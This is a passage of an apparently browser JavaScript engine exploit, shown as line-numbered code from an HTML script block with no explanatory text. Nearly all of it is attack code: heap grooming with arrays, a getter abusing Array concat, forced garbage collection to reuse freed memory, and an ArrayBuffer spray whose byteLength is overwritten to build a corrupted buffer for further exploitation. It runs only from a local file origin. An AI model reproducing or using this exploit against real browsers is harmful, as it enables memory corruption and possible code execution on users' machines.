113 | 			var a = Array.apply(null, new Array(JUNK_SIZE - 2)).map(function () {return 0x11111111;});
114 | 			var b = [];
115 | 
116 | 			a[1] = 0x12345678;
117 | 			a.__defineGetter__("0", function () {
118 | 				b.length = JUNK_SIZE * 2;
119 | 				return 0x21983478;
120 | 			});
121 | 
122 | 			return function () {
123 | 				return a.concat(b);
124 | 			};
125 | 		})();
126 | 	}
127 | 
128 | 	var tmp = [];
129 | 	for (var i = 0; i < 100; i++)
130 | 		tmp[i] = Array.apply(null, new Array(200)).map(function () {return 1234;});
131 | 
132 | 	var obj			= tmp[tmp.length/2];
133 | 	var abs 		= new Array(0x200000); for (var i = 0; i < abs.length; i++) abs[i] = null;
134 | 	var holes 		= Array.apply(null, new Array(arrayCreator.length * 2));
135 | 	var junks 		= Array.apply(null, new Array(arrayCreator.length));
136 | 	var corrupts 	= Array.apply(null, new Array(arrayCreator.length));
137 | 	var t 			= Array.apply(null, new Array(JUNK_SIZE - 2)).map(function () {return 0x22222222;});
138 | 
139 | 	//Array.apply(null, new Array(0x1c * 10));
140 | 
141 | 	t[0] 	= JUNK_TAG;
142 | 
143 | 	for (var i = 0; i < holes.length; i++)
144 | 		holes[i] = t.concat();
145 | 
146 | 	for (var i = 0; i < arrayCreator.length; i++) {
147 | 		junks[i] = t.concat();
148 | 		corrupts[i] = arrayCreator[i]();
149 | 	}
150 | 
151 | 	for (var i = 0; i < junks.length; i++)
152 | 		junks[i][0x20] = obj;
153 | 
154 | 	var idxs = [];
155 | 
156 | 	for (var i = 400; i < 700; i++) {
157 | 		var v = corrupts[i][JUNK_SIZE];
158 | 		if (Number.isInteger(v) && v == JUNK_TAG) {
159 | 			idxs.push(i);
160 | 		}
161 | 	}
162 | 
163 | 	t = null;
164 | 	junks = null;
165 | 	//holes = null;
166 | 	gc();
167 | 	
168 | 	obj = null;
169 | 	gc();
170 | 
171 | 
172 | 	function findFreed() {
173 | 		for (var i = 0; i < idxs.length; i++) {
174 | 			var v = corrupts[idxs[i]][JUNK_SIZE + 0x20];
175 | 			if (v != null && v.length) {
176 | 				return v;
177 | 			}
178 | 		}
179 | 
180 | 		return null;
181 | 	}
182 | 
183 | 	var freed = findFreed();
184 | 
185 | 	if (!freed)
186 | 		return fail();
187 | 
188 | 	for (var i = 0; i < abs.length; i++)
189 | 		abs[i] = new ArrayBuffer(7);
190 | 
191 | 	function findCorrupt() {
192 | 		for (var i = 0; i < abs.length; i++) {
193 | 			if (abs[i].byteLength != 7) {
194 | 				return abs[i];
195 | 			}
196 | 		}
197 | 
198 | 		return null;
199 | 	}
200 | 
201 | 	for (var i = 1; i < freed.length; i++) {
202 | 		if (!Number.isSafeInteger(freed[i]) || freed[i] != 7)
203 | 			continue;
204 | 
205 | 		freed[i] = 0x30000000;
206 | 		var ab = findCorrupt();
207 | 		if (ab)
208 | 			return next(freed, i - 1, ab);
209 | 
210 | 		freed[i] = 7;
211 | 	}
212 | 
213 | 	return fail();
214 | 
215 | }
216 | 
217 | function main() {
218 | 	if (document.location.origin != "file://") {
219 | 		alert("oops~!");
220 | 		return;
221 | 	}
222 | 
223 | 	exploit();
224 | }
225 | 
226 | main();
227 | 
228 | </script>


--------------------------------------------------------------------------------